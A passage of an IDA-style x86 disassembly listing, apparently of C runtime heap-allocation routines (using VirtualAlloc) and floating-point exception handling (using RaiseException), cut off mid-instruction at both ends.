[ecx+18h], 0FFFFFFFFh jnz short loc_412533 push 1 lea eax, [ecx+20h] pop edx loc_412513: ; CODE XREF: sub_412488+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_412524 inc edx add eax, 8 cmp edx, 400h jl short loc_412513 loc_412524: ; CODE XREF: sub_412488+8Ej cmp edx, 400h jnz short loc_412533 push ecx call sub_412432 pop ecx loc_412533: ; CODE XREF: sub_412488+11j ; sub_412488+7Dj ... cmp esi, off_4220AC jz short loc_412545 cmp [ebp+arg_0], 0 jg loc_412495 loc_412545: ; CODE XREF: sub_412488+B1j pop edi pop esi pop ebx leave retn sub_412488 endp ; =============== S U B R O U T I N E ======================================= sub_41254A proc near ; CODE XREF: sub_40ECAF+3Ap ; sub_414008+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_4220A8 push esi mov ecx, edx loc_412556: ; CODE XREF: sub_41254A+1Cj cmp eax, [ecx+10h] jbe short loc_412560 cmp eax, [ecx+14h] jb short loc_412568 loc_412560: ; CODE XREF: sub_41254A+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41259D jmp short loc_412556 ; --------------------------------------------------------------------------- loc_412568: ; CODE XREF: sub_41254A+14j test al, 0Fh jnz short loc_41259D mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41259D mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41259D: ; CODE XREF: sub_41254A+1Aj ; sub_41254A+20j ... xor eax, eax pop esi retn sub_41254A endp ; =============== S U B R O U T I N E ======================================= sub_4125A1 proc near ; CODE XREF: sub_40ECAF+4Dp ; sub_414008+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_4125E5 inc dword_4BA2E4 cmp dword_4BA2E4, 20h jnz short locret_4125E5 push 10h call sub_412488 pop ecx locret_4125E5: ; CODE XREF: sub_4125A1+2Bj ; sub_4125A1+3Aj retn sub_4125A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125E6 proc near ; CODE XREF: sub_40E8C0+4Ap ; sub_414008+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_4240C8 push edi loc_4125F4: ; CODE XREF: sub_4125E6+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41269F mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_412659 loc_41261F: ; CODE XREF: sub_4125E6+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_412642 cmp [edi+4], ebx jbe short loc_412642 push ebx push ecx push eax call sub_4127EE add esp, 0Ch test eax, eax jnz short loc_4126B1 mov eax, [ebp+var_4] mov [edi+4], ebx loc_412642: ; CODE XREF: sub_4125E6+40j ; sub_4125E6+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41261F jmp short loc_41265C ; --------------------------------------------------------------------------- loc_412659: ; CODE XREF: sub_4125E6+37j mov ebx, [ebp+arg_0] loc_41265C: ; CODE XREF: sub_4125E6+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_4126A2 loc_41266F: ; CODE XREF: sub_4125E6+B5j mov eax, [edi] cmp eax, ebx jl short loc_41268E cmp [edi+4], ebx jbe short loc_41268E push ebx push eax push [ebp+var_4] call sub_4127EE add esp, 0Ch test eax, eax jnz short loc_4126B1 mov [edi+4], ebx loc_41268E: ; CODE XREF: sub_4125E6+8Dj ; sub_4125E6+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41266F jmp short loc_4126A2 ; --------------------------------------------------------------------------- loc_41269F: ; CODE XREF: sub_4125E6+14j mov ebx, [ebp+arg_0] loc_4126A2: ; CODE XREF: sub_4125E6+87j ; sub_4125E6+B7j mov esi, [esi] cmp esi, off_4240C8 jz short loc_4126C1 jmp loc_4125F4 ; --------------------------------------------------------------------------- loc_4126B1: ; CODE XREF: sub_4125E6+54j ; sub_4125E6+A3j mov off_4240C8, esi sub [edi], ebx mov [esi+8], edi jmp loc_4127E9 ; --------------------------------------------------------------------------- loc_4126C1: ; CODE XREF: sub_4125E6+C4j mov eax, offset off_4220A8 mov edi, eax loc_4126C8: ; CODE XREF: sub_4125E6+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_4126D4 cmp dword ptr [edi+0Ch], 0 jnz short loc_4126E0 loc_4126D4: ; CODE XREF: sub_4125E6+E6j mov edi, [edi] cmp edi, eax jz loc_4127B5 jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126E0: ; CODE XREF: sub_4125E6+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41270F loc_4126FE: ; CODE XREF: sub_4125E6+127j cmp [ebp+var_4], 10h jge short loc_41270F add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4126FE loc_41270F: ; CODE XREF: sub_4125E6+116j ; sub_4125E6+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_41A150 ; VirtualAlloc cmp eax, esi jnz loc_4127E7 push 0 push [ebp+var_8] push esi call sub_40E800 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_412776 lea eax, [esi+4] mov [ebp+var_4], edx loc_41274C: ; CODE XREF: sub_4125E6+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41274C loc_412776: ; CODE XREF: sub_4125E6+15Ej mov off_4240C8, edi lea eax, [edi+2018h] loc_412782: ; CODE XREF: sub_4125E6+1A8j cmp ecx, eax jnb short loc_412792 cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_412790 add ecx, 8 jmp short loc_412782 ; --------------------------------------------------------------------------- loc_412790: ; CODE XREF: sub_4125E6+1A3j cmp ecx, eax loc_412792: ; CODE XREF: sub_4125E6+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_4127E9 ; --------------------------------------------------------------------------- loc_4127B5: ; CODE XREF: sub_4125E6+F2j call sub_4122EE test eax, eax jz short loc_4127E7 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_4240C8, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_4127E9 ; --------------------------------------------------------------------------- loc_4127E7: ; CODE XREF: sub_4125E6+143j ; sub_4125E6+1D6j xor eax, eax loc_4127E9: ; CODE XREF: sub_4125E6+D6j ; sub_4125E6+1CDj ... pop edi pop esi pop ebx leave retn sub_4125E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127EE proc near ; CODE XREF: sub_4125E6+4Ap ; sub_4125E6+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_412833 lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_412822 add [ecx], edx sub [ecx+4], edx jmp short loc_41282B ; --------------------------------------------------------------------------- loc_412822: ; CODE XREF: sub_4127EE+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41282B: ; CODE XREF: sub_4127EE+32j lea eax, [edi+8] jmp loc_412901 ; --------------------------------------------------------------------------- loc_412833: ; CODE XREF: sub_4127EE+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41283C mov eax, esi loc_41283C: ; CODE XREF: sub_4127EE+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_412886 loc_412843: ; CODE XREF: sub_4127EE+96j mov bl, [eax] test bl, bl jnz short loc_412879 push 1 lea ebx, [eax+1] pop esi loc_41284F: ; CODE XREF: sub_4127EE+68j cmp byte ptr [ebx], 0 jnz short loc_412858 inc ebx inc esi jmp short loc_41284F ; --------------------------------------------------------------------------- loc_412858: ; CODE XREF: sub_4127EE+64j cmp esi, edx jnb short loc_4128AA cmp eax, [ebp+var_4] jnz short loc_412866 mov [ecx+4], esi jmp short loc_412872 ; --------------------------------------------------------------------------- loc_412866: ; CODE XREF: sub_4127EE+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41290B loc_412872: ; CODE XREF: sub_4127EE+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41287E ; --------------------------------------------------------------------------- loc_412879: ; CODE XREF: sub_4127EE+59j movzx esi, bl add eax, esi loc_41287E: ; CODE XREF: sub_4127EE+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_412843 loc_412886: ; CODE XREF: sub_4127EE+53j lea esi, [ecx+8] loc_412889: ; CODE XREF: sub_4127EE+EBj ; sub_4127EE+F2j cmp esi, edi jnb short loc_41290B lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41290B mov al, [esi] test al, al jnz short loc_4128DB push 1 lea ebx, [esi+1] pop eax loc_4128A1: ; CODE XREF: sub_4127EE+BAj cmp byte ptr [ebx], 0 jnz short loc_4128CB inc ebx inc eax jmp short loc_4128A1 ; --------------------------------------------------------------------------- loc_4128AA: ; CODE XREF: sub_4127EE+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_4128BB sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_4128C4 ; --------------------------------------------------------------------------- loc_4128BB: ; CODE XREF: sub_4127EE+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_4128C4: ; CODE XREF: sub_4127EE+CBj mov [eax], dl add eax, 8 jmp short loc_412901 ; --------------------------------------------------------------------------- loc_4128CB: ; CODE XREF: sub_4127EE+B6j cmp eax, edx jnb short loc_4128E2 sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41290B mov esi, ebx jmp short loc_412889 ; --------------------------------------------------------------------------- loc_4128DB: ; CODE XREF: sub_4127EE+ABj movzx eax, al add esi, eax jmp short loc_412889 ; --------------------------------------------------------------------------- loc_4128E2: ; CODE XREF: sub_4127EE+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_4128F3 sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_4128FC ; --------------------------------------------------------------------------- loc_4128F3: ; CODE XREF: sub_4127EE+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_4128FC: ; CODE XREF: sub_4127EE+103j mov [esi], dl lea eax, [esi+8] loc_412901: ; CODE XREF: sub_4127EE+40j ; sub_4127EE+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41290D ; --------------------------------------------------------------------------- loc_41290B: ; CODE XREF: sub_4127EE+7Ej ; sub_4127EE+9Dj ... xor eax, eax loc_41290D: ; CODE XREF: sub_4127EE+11Bj pop edi pop esi pop ebx leave retn sub_4127EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412912 proc near ; CODE XREF: sub_414008+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41294C mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_4129AC ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412912+26j jnb short loc_4129B3 mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_4129B3 lea eax, [ecx+edx] loc_412961: ; CODE XREF: sub_412912+59j cmp eax, esi jnb short loc_41296F cmp byte ptr [eax], 0 jnz short loc_41296D inc eax jmp short loc_412961 ; --------------------------------------------------------------------------- loc_41296D: ; CODE XREF: sub_412912+56j cmp eax, esi loc_41296F: ; CODE XREF: sub_412912+51j jnz short loc_4129B3 mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_4129A7 cmp esi, eax jbe short loc_4129A7 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41299E xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_412999 loc_412992: ; CODE XREF: sub_412912+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_412992 loc_412999: ; CODE XREF: sub_412912+7Ej mov [ebx+4], eax jmp short loc_4129A7 ; --------------------------------------------------------------------------- loc_41299E: ; CODE XREF: sub_412912+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_4129A7: ; CODE XREF: sub_412912+68j ; sub_412912+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_4129AC: ; CODE XREF: sub_412912+38j mov [ebp+var_4], 1 loc_4129B3: ; CODE XREF: sub_412912:loc_41294Cj ; sub_412912+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_412912 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_4129BB(int,int,double,int) sub_4129BB proc near ; CODE XREF: sub_40EE62+51p ; sub_40EFAB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_4248D8, 0 jnz short loc_4129F0 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_412F70 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_4129F0: ; CODE XREF: sub_4129BB+Aj push 0FFFFh mov dword_4BA284, 21h push [ebp+arg_C] call sub_4131E3 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_4129BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_412A0E(int,int,double,double,int) sub_412A0E proc near ; CODE XREF: sub_40EE62:loc_40EF25p ; sub_40EFAB:loc_40F06Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_412D59 add esp, 0Ch test eax, eax jnz short loc_412A4C lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_412AA6 add esp, 18h loc_412A4C: ; CODE XREF: sub_412A0E+1Aj push [ebp+arg_0] call sub_413043 cmp dword_4248D8, 0 pop ecx jnz short loc_412A8A test eax, eax jz short loc_412A8A push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_412F70 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_412A8A: ; CODE XREF: sub_412A0E+4Ej ; sub_412A0E+52j push eax call sub_412FF8 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4131E3 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_412A0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412AA6 proc near ; CODE XREF: sub_412A0E+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_412AD8 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_412AD8: ; CODE XREF: sub_412AA6+23j test cl, 2 jz short loc_412AEB mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_412AEB: ; CODE XREF: sub_412AA6+35j test cl, bl jz short loc_412AFD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_412AFD: ; CODE XREF: sub_412AA6+47j test cl, 4 jz short loc_412B10 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_412B10: ; CODE XREF: sub_412AA6+5Aj test cl, 8 jz short loc_412B23 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_412B23: ; CODE XREF: sub_412AA6+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4131C6 test al, bl jz short loc_412BAC mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_412BAC: ; CODE XREF: sub_412AA6+FDj test al, 4 jz short loc_412BB7 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_412BB7: ; CODE XREF: sub_412AA6+108j test al, 8 jz short loc_412BC2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_412BC2: ; CODE XREF: sub_412AA6+113j test al, 10h jz short loc_412BCC mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_412BCC: ; CODE XREF: sub_412AA6+11Ej test al, 20h jz short loc_412BD6 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_412BD6: ; CODE XREF: sub_412AA6+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_412C15 cmp eax, 400h jz short loc_412C07 cmp eax, 800h jz short loc_412BFB cmp eax, ecx jnz short loc_412C1B mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_412C1B ; --------------------------------------------------------------------------- loc_412BFB: ; CODE XREF: sub_412AA6+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_412C11 ; --------------------------------------------------------------------------- loc_412C07: ; CODE XREF: sub_412AA6+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_412C11: ; CODE XREF: sub_412AA6+15Fj mov [eax], ecx jmp short loc_412C1B ; --------------------------------------------------------------------------- loc_412C15: ; CODE XREF: sub_412AA6+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_412C1B: ; CODE XREF: sub_412AA6+14Bj ; sub_412AA6+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_412C46 cmp eax, 200h jz short loc_412C39 cmp eax, ecx jnz short loc_412C53 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_412C53 ; --------------------------------------------------------------------------- loc_412C39: ; CODE XREF: sub_412AA6+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_412C51 ; --------------------------------------------------------------------------- loc_412C46: ; CODE XREF: sub_412AA6+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_412C51: ; CODE XREF: sub_412AA6+19Ej mov [eax], ecx loc_412C53: ; CODE XREF: sub_412AA6+189j ; sub_412AA6+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4131D4 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_41A15C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_412CCD and dword ptr [esi], 0FFFFFFFEh loc_412CCD: ; CODE XREF: sub_412AA6+222j test byte ptr [eax+8], 8 jz short loc_412CD6 and dword ptr [esi], 0FFFFFFFBh loc_412CD6: ; CODE XREF: sub_412AA6+22Bj test byte ptr [eax+8], 4 jz short loc_412CDF and dword ptr [esi], 0FFFFFFF7h loc_412CDF: ; CODE XREF: sub_412AA6+234j test byte ptr [eax+8], 2 jz short loc_412CE8 and dword ptr [esi], 0FFFFFFEFh loc_412CE8: ; CODE XREF: sub_412AA6+23Dj test [eax+8], bl jz short loc_412CF0 and dword ptr [esi], 0FFFFFFDFh loc_412CF0: ; CODE XREF: sub_412AA6+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_412D24 dec ecx jz short loc_412D18 dec ecx jz short loc_412D0E dec ecx jnz short loc_412D26 or byte ptr [esi+1], 0Ch jmp short loc_412D26 ; --------------------------------------------------------------------------- loc_412D0E: ; CODE XREF: sub_412AA6+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_412D20 ; --------------------------------------------------------------------------- loc_412D18: ; CODE XREF: sub_412AA6+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_412D20: ; CODE XREF: sub_412AA6+270j mov [esi], ecx jmp short loc_412D26 ; --------------------------------------------------------------------------- loc_412D24: ; CODE XREF: sub_412AA6+257j and [esi], edx loc_412D26: ; CODE XREF: sub_412AA6+260j ; sub_412AA6+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_412D46 dec ecx jz short loc_412D3D dec ecx jnz short loc_412D4F and [esi], edx jmp short loc_412D4F ; --------------------------------------------------------------------------- loc_412D3D: ; CODE XREF: sub_412AA6+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_412D4D ; --------------------------------------------------------------------------- loc_412D46: ; CODE XREF: sub_412AA6+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_412D4D: ; CODE XREF: sub_412AA6+29Ej mov [esi], ecx loc_412D4F: ; CODE XREF: sub_412AA6+291j ; sub_412AA6+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_412AA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D59 proc near ; CODE XREF: sub_412A0E+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_412D84 test byte ptr [ebp+arg_8], bl jz short loc_412D84 push ebx call sub_413206 pop ecx and edi, 0FFFFFFF7h jmp loc_412F4E ; --------------------------------------------------------------------------- loc_412D84: ; CODE XREF: sub_412D59+15j ; sub_412D59+1Aj test al, 4 jz short loc_412D9E test byte ptr [ebp+arg_8], 4 jz short loc_412D9E push 4 call sub_413206 pop ecx and edi, 0FFFFFFFBh jmp loc_412F4E ; --------------------------------------------------------------------------- loc_412D9E: ; CODE XREF: sub_412D59+2Dj ; sub_412D59+33j test al, bl jz loc_412E78 test byte ptr [ebp+arg_8], 8 jz loc_412E78 push 8 call sub_413206 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_412E50 cmp ecx, 400h jz short loc_412E28 cmp ecx, 800h jz short loc_412E00 cmp ecx, eax jnz loc_412E70 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_41A440 fld dbl_4241B8 fnstsw ax sahf ja short loc_412DF8 fchs loc_412DF8: ; CODE XREF: sub_412D59+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_412E6E ; --------------------------------------------------------------------------- loc_412E00: ; CODE XREF: sub_412D59+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_41A440 fnstsw ax sahf jbe short loc_412E18 fld dbl_4241A8 jmp short loc_412E20 ; --------------------------------------------------------------------------- loc_412E18: ; CODE XREF: sub_412D59+B5j fld dbl_4241B8 fchs loc_412E20: ; CODE XREF: sub_412D59+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_412E6E ; --------------------------------------------------------------------------- loc_412E28: ; CODE XREF: sub_412D59+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_41A440 fnstsw ax sahf jbe short loc_412E40 fld dbl_4241B8 jmp short loc_412E48 ; --------------------------------------------------------------------------- loc_412E40: ; CODE XREF: sub_412D59+DDj fld dbl_4241A8 fchs loc_412E48: ; CODE XREF: sub_412D59+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_412E6E ; --------------------------------------------------------------------------- loc_412E50: ; CODE XREF: sub_412D59+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_41A440 fld dbl_4241A8 fnstsw ax sahf ja short loc_412E68 fchs loc_412E68: ; CODE XREF: sub_412D59+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_412E6E: ; CODE XREF: sub_412D59+A5j ; sub_412D59+CDj ... fstp qword ptr [ecx] loc_412E70: ; CODE XREF: sub_412D59+81j and edi, 0FFFFFFFEh jmp loc_412F4E ; --------------------------------------------------------------------------- loc_412E78: ; CODE XREF: sub_412D59+47j ; sub_412D59+51j test al, 2 jz loc_412F4E test byte ptr [ebp+arg_8], 10h jz loc_412F4E push esi xor esi, esi test al, 10h jz short loc_412E93 mov esi, ebx loc_412E93: ; CODE XREF: sub_412D59+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_41A440 fnstsw ax sahf jz loc_412F3C fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_413105 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_412EDE fldz mov esi, 